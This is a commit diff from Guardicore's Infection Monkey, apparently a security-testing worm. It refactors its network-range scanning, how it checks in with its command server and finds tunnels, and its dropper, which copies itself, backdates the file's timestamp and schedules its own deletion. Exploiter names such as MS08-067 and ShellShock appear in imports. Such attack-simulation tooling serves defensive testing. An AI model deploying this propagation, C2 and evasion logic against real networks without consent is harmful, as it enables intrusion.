Skip to content

Commit 6dc1f6f

Browse files
Merge pull request #117 from guardicore/develop
Merge develop into master
2 parents 10ffb71 + 3f0569a commit 6dc1f6f

28 files changed

+4751
-720
lines changed

common/__init__.py

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
__author__ = 'itay.mizeretz'

common/network/__init__.py

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
__author__ = 'itay.mizeretz'

common/network/network_range.py

+122
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,122 @@
1+
import random
2+
import socket
3+
import struct
4+
from abc import ABCMeta, abstractmethod
5+
6+
import ipaddress
7+
8+
__author__ = 'itamar'
9+
10+
11+
class NetworkRange(object):
12+
__metaclass__ = ABCMeta
13+
14+
def __init__(self, shuffle=True):
15+
self._shuffle = shuffle
16+
17+
def get_range(self):
18+
"""
19+
:return: Returns a sequence of IPs in an internal format (might be numbers)
20+
"""
21+
return self._get_range()
22+
23+
def __iter__(self):
24+
"""
25+
Iterator of ip addresses (strings) from the current range.
26+
Use get_range if you want it in one go.
27+
:return:
28+
"""
29+
base_range = self.get_range()
30+
if self._shuffle:
31+
random.shuffle(base_range)
32+
33+
for x in base_range:
34+
yield self._number_to_ip(x)
35+
36+
@abstractmethod
37+
def is_in_range(self, ip_address):
38+
raise NotImplementedError()
39+
40+
@abstractmethod
41+
def _get_range(self):
42+
raise NotImplementedError()
43+
44+
@staticmethod
45+
def get_range_obj(address_str):
46+
address_str = address_str.strip()
47+
if not address_str: # Empty string
48+
return None
49+
if -1 != address_str.find('-'):
50+
return IpRange(ip_range=address_str)
51+
if -1 != address_str.find('/'):
52+
return CidrRange(cidr_range=address_str)
53+
return SingleIpRange(ip_address=address_str)
54+
55+
@staticmethod
56+
def _ip_to_number(address):
57+
return struct.unpack(">L", socket.inet_aton(address))[0]
58+
59+
@staticmethod
60+
def _number_to_ip(num):
61+
return socket.inet_ntoa(struct.pack(">L", num))
62+
63+
64+
class CidrRange(NetworkRange):
65+
def __init__(self, cidr_range, shuffle=True):
66+
super(CidrRange, self).__init__(shuffle=shuffle)
67+
self._cidr_range = cidr_range.strip()
68+
self._ip_network = ipaddress.ip_network(unicode(self._cidr_range), strict=False)
69+
70+
def __repr__(self):
71+
return "<CidrRange %s>" % (self._cidr_range,)
72+
73+
def is_in_range(self, ip_address):
74+
return ipaddress.ip_address(ip_address) in self._ip_network
75+
76+
def _get_range(self):
77+
return [CidrRange._ip_to_number(str(x)) for x in self._ip_network if x != self._ip_network.broadcast_address]
78+
79+
80+
class IpRange(NetworkRange):
81+
def __init__(self, ip_range=None, lower_end_ip=None, higher_end_ip=None, shuffle=True):
82+
super(IpRange, self).__init__(shuffle=shuffle)
83+
if ip_range is not None:
84+
addresses = ip_range.split('-')
85+
if len(addresses) != 2:
86+
raise ValueError('Illegal IP range format: %s. Format is 192.168.0.5-192.168.0.20' % ip_range)
87+
self._lower_end_ip, self._higher_end_ip = [x.strip() for x in addresses]
88+
elif (lower_end_ip is not None) and (higher_end_ip is not None):
89+
self._lower_end_ip = lower_end_ip.strip()
90+
self._higher_end_ip = higher_end_ip.strip()
91+
else:
92+
raise ValueError('Illegal IP range: %s' % ip_range)
93+
94+
self._lower_end_ip_num = self._ip_to_number(self._lower_end_ip)
95+
self._higher_end_ip_num = self._ip_to_number(self._higher_end_ip)
96+
if self._higher_end_ip_num < self._lower_end_ip_num:
97+
raise ValueError(
98+
'Higher end IP %s is smaller than lower end IP %s' % (self._lower_end_ip, self._higher_end_ip))
99+
100+
def __repr__(self):
101+
return "<IpRange %s-%s>" % (self._lower_end_ip, self._higher_end_ip)
102+
103+
def is_in_range(self, ip_address):
104+
return self._lower_end_ip_num <= self._ip_to_number(ip_address) <= self._higher_end_ip_num
105+
106+
def _get_range(self):
107+
return range(self._lower_end_ip_num, self._higher_end_ip_num + 1)
108+
109+
110+
class SingleIpRange(NetworkRange):
111+
def __init__(self, ip_address, shuffle=True):
112+
super(SingleIpRange, self).__init__(shuffle=shuffle)
113+
self._ip_address = ip_address
114+
115+
def __repr__(self):
116+
return "<SingleIpRange %s>" % (self._ip_address,)
117+
118+
def is_in_range(self, ip_address):
119+
return self._ip_address == ip_address
120+
121+
def _get_range(self):
122+
return [SingleIpRange._ip_to_number(self._ip_address)]

infection_monkey/config.py

+4-4
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,5 @@
11
import os
2+
import struct
23
import sys
34
import types
45
import uuid
@@ -8,7 +9,6 @@
89
from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \
910
SambaCryExploiter, ElasticGroovyExploiter
1011
from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger
11-
from network.range import FixedRange
1212

1313
__author__ = 'itamar'
1414

@@ -116,7 +116,8 @@ def as_dict(self):
116116
dropper_set_date = True
117117
dropper_date_reference_path_windows = r"%windir%\system32\kernel32.dll"
118118
dropper_date_reference_path_linux = '/bin/sh'
119-
dropper_target_path = r"C:\Windows\monkey.exe"
119+
dropper_target_path_win_32 = r"C:\Windows\monkey32.exe"
120+
dropper_target_path_win_64 = r"C:\Windows\monkey64.exe"
120121
dropper_target_path_linux = '/tmp/monkey'
121122

122123
###########################
@@ -183,8 +184,7 @@ def as_dict(self):
183184
# Auto detect and scan local subnets
184185
local_network_scan = True
185186

186-
range_class = FixedRange
187-
range_fixed = ['', ]
187+
subnet_scan_list = ['', ]
188188

189189
blocked_ips = ['', ]
190190

infection_monkey/control.py

+46-28
Original file line numberDiff line numberDiff line change
@@ -4,6 +4,7 @@
44
from socket import gethostname
55

66
import requests
7+
from requests.exceptions import ConnectionError
78

89
import monkeyfs
910
import tunnel
@@ -24,59 +25,77 @@ class ControlClient(object):
2425
proxies = {}
2526

2627
@staticmethod
27-
def wakeup(parent=None, default_tunnel=None, has_internet_access=None):
28-
LOG.debug("Trying to wake up with Monkey Island servers list: %r" % WormConfiguration.command_servers)
29-
if parent or default_tunnel:
30-
LOG.debug("parent: %s, default_tunnel: %s" % (parent, default_tunnel))
28+
def wakeup(parent=None, has_internet_access=None):
29+
if parent:
30+
LOG.debug("parent: %s" % (parent,))
31+
3132
hostname = gethostname()
3233
if not parent:
3334
parent = GUID
3435

3536
if has_internet_access is None:
3637
has_internet_access = check_internet_access(WormConfiguration.internet_services)
3738

38-
for server in WormConfiguration.command_servers:
39-
try:
40-
WormConfiguration.current_server = server
39+
monkey = {'guid': GUID,
40+
'hostname': hostname,
41+
'ip_addresses': local_ips(),
42+
'description': " ".join(platform.uname()),
43+
'internet_access': has_internet_access,
44+
'config': WormConfiguration.as_dict(),
45+
'parent': parent}
4146

42-
monkey = {'guid': GUID,
43-
'hostname': hostname,
44-
'ip_addresses': local_ips(),
45-
'description': " ".join(platform.uname()),
46-
'internet_access': has_internet_access,
47-
'config': WormConfiguration.as_dict(),
48-
'parent': parent}
47+
if ControlClient.proxies:
48+
monkey['tunnel'] = ControlClient.proxies.get('https')
4949

50-
if ControlClient.proxies:
51-
monkey['tunnel'] = ControlClient.proxies.get('https')
50+
requests.post("https://%s/api/monkey" % (WormConfiguration.current_server,),
51+
data=json.dumps(monkey),
52+
headers={'content-type': 'application/json'},
53+
verify=False,
54+
proxies=ControlClient.proxies,
55+
timeout=20)
56+
57+
@staticmethod
58+
def find_server(default_tunnel=None):
59+
LOG.debug("Trying to wake up with Monkey Island servers list: %r" % WormConfiguration.command_servers)
60+
if default_tunnel:
61+
LOG.debug("default_tunnel: %s" % (default_tunnel,))
62+
63+
current_server = ""
64+
65+
for server in WormConfiguration.command_servers:
66+
try:
67+
current_server = server
5268

5369
debug_message = "Trying to connect to server: %s" % server
5470
if ControlClient.proxies:
5571
debug_message += " through proxies: %s" % ControlClient.proxies
5672
LOG.debug(debug_message)
57-
reply = requests.post("https://%s/api/monkey" % (server,),
58-
data=json.dumps(monkey),
59-
headers={'content-type': 'application/json'},
60-
verify=False,
61-
proxies=ControlClient.proxies,
62-
timeout=20)
73+
requests.get("https://%s/api?action=is-up" % (server,),
74+
verify=False,
75+
proxies=ControlClient.proxies)
76+
WormConfiguration.current_server = current_server
6377
break
6478

65-
except Exception as exc:
66-
WormConfiguration.current_server = ""
79+
except ConnectionError as exc:
80+
current_server = ""
6781
LOG.warn("Error connecting to control server %s: %s", server, exc)
6882

69-
if not WormConfiguration.current_server:
70-
if not ControlClient.proxies:
83+
if current_server:
84+
return True
85+
else:
86+
if ControlClient.proxies:
87+
return False
88+
else:
7189
LOG.info("Starting tunnel lookup...")
7290
proxy_find = tunnel.find_tunnel(default=default_tunnel)
7391
if proxy_find:
7492
proxy_address, proxy_port = proxy_find
7593
LOG.info("Found tunnel at %s:%s" % (proxy_address, proxy_port))
7694
ControlClient.proxies['https'] = 'https://%s:%s' % (proxy_address, proxy_port)
77-
ControlClient.wakeup(parent=parent, has_internet_access=has_internet_access)
95+
return ControlClient.find_server()
7896
else:
7997
LOG.info("No tunnel found")
98+
return False
8099

81100
@staticmethod
82101
def keepalive():
@@ -249,7 +268,6 @@ def get_monkey_exe_filename_and_size_by_host_dict(host_dict):
249268
data=json.dumps(host_dict),
250269
headers={'content-type': 'application/json'},
251270
verify=False, proxies=ControlClient.proxies)
252-
253271
if 200 == reply.status_code:
254272
result_json = reply.json()
255273
filename = result_json.get('filename')

infection_monkey/dropper.py

+29-23
Original file line numberDiff line numberDiff line change
@@ -38,7 +38,7 @@ def __init__(self, args):
3838
arg_parser.add_argument('-p', '--parent')
3939
arg_parser.add_argument('-t', '--tunnel')
4040
arg_parser.add_argument('-s', '--server')
41-
arg_parser.add_argument('-d', '--depth')
41+
arg_parser.add_argument('-d', '--depth', type=int)
4242
arg_parser.add_argument('-l', '--location')
4343
self.monkey_args = args[1:]
4444
self.opts, _ = arg_parser.parse_known_args(args)
@@ -53,10 +53,13 @@ def start(self):
5353

5454
if self._config['destination_path'] is None:
5555
LOG.error("No destination path specified")
56-
return
56+
return False
5757

5858
# we copy/move only in case path is different
59-
file_moved = (self._config['source_path'].lower() == self._config['destination_path'].lower())
59+
file_moved = os.path.samefile(self._config['source_path'], self._config['destination_path'])
60+
61+
if not file_moved and os.path.exists(self._config['destination_path']):
62+
os.remove(self._config['destination_path'])
6063

6164
# first try to move the file
6265
if not file_moved and WormConfiguration.dropper_try_move_first:
@@ -105,8 +108,8 @@ def start(self):
105108
except:
106109
LOG.warn("Cannot set reference date to destination file")
107110

108-
monkey_options = build_monkey_commandline_explicitly(
109-
self.opts.parent, self.opts.tunnel, self.opts.server, int(self.opts.depth))
111+
monkey_options =\
112+
build_monkey_commandline_explicitly(self.opts.parent, self.opts.tunnel, self.opts.server, self.opts.depth)
110113

111114
if OperatingSystem.Windows == SystemInfoCollector.get_os():
112115
monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': self._config['destination_path']} + monkey_options
@@ -130,22 +133,25 @@ def start(self):
130133
LOG.warn("Seems like monkey died too soon")
131134

132135
def cleanup(self):
133-
if (self._config['source_path'].lower() != self._config['destination_path'].lower()) and \
134-
os.path.exists(self._config['source_path']) and \
135-
WormConfiguration.dropper_try_move_first:
136+
try:
137+
if (self._config['source_path'].lower() != self._config['destination_path'].lower()) and \
138+
os.path.exists(self._config['source_path']) and \
139+
WormConfiguration.dropper_try_move_first:
136140

137-
# try removing the file first
138-
try:
139-
os.remove(self._config['source_path'])
140-
except Exception as exc:
141-
LOG.debug("Error removing source file '%s': %s", self._config['source_path'], exc)
142-
143-
# mark the file for removal on next boot
144-
dropper_source_path_ctypes = c_char_p(self._config['source_path'])
145-
if 0 == ctypes.windll.kernel32.MoveFileExA(dropper_source_path_ctypes, None,
146-
MOVEFILE_DELAY_UNTIL_REBOOT):
147-
LOG.debug("Error marking source file '%s' for deletion on next boot (error %d)",
148-
self._config['source_path'], ctypes.windll.kernel32.GetLastError())
149-
else:
150-
LOG.debug("Dropper source file '%s' is marked for deletion on next boot",
151-
self._config['source_path'])
141+
# try removing the file first
142+
try:
143+
os.remove(self._config['source_path'])
144+
except Exception as exc:
145+
LOG.debug("Error removing source file '%s': %s", self._config['source_path'], exc)
146+
147+
# mark the file for removal on next boot
148+
dropper_source_path_ctypes = c_char_p(self._config['source_path'])
149+
if 0 == ctypes.windll.kernel32.MoveFileExA(dropper_source_path_ctypes, None,
150+
MOVEFILE_DELAY_UNTIL_REBOOT):
151+
LOG.debug("Error marking source file '%s' for deletion on next boot (error %d)",
152+
self._config['source_path'], ctypes.windll.kernel32.GetLastError())
153+
else:
154+
LOG.debug("Dropper source file '%s' is marked for deletion on next boot",
155+
self._config['source_path'])
156+
except AttributeError:
157+
LOG.error("Invalid configuration options. Failing")

infection_monkey/example.conf

+3-3
Original file line numberDiff line numberDiff line change
@@ -7,8 +7,7 @@
77
"www.google.com"
88
],
99
"keep_tunnel_open_time": 60,
10-
"range_class": "RelativeRange",
11-
"range_fixed": [
10+
"subnet_scan_list": [
1211
""
1312
],
1413
"blocked_ips": [""],
@@ -23,7 +22,8 @@
2322
"dropper_log_path_windows": "%temp%\\~df1562.tmp",
2423
"dropper_log_path_linux": "/tmp/user-1562",
2524
"dropper_set_date": true,
26-
"dropper_target_path": "C:\\Windows\\monkey.exe",
25+
"dropper_target_path_win_32": "C:\\Windows\\monkey32.exe",
26+
"dropper_target_path_win_64": "C:\\Windows\\monkey64.exe",
2727
"dropper_target_path_linux": "/tmp/monkey",
2828

2929

0 commit comments

Comments
 (0)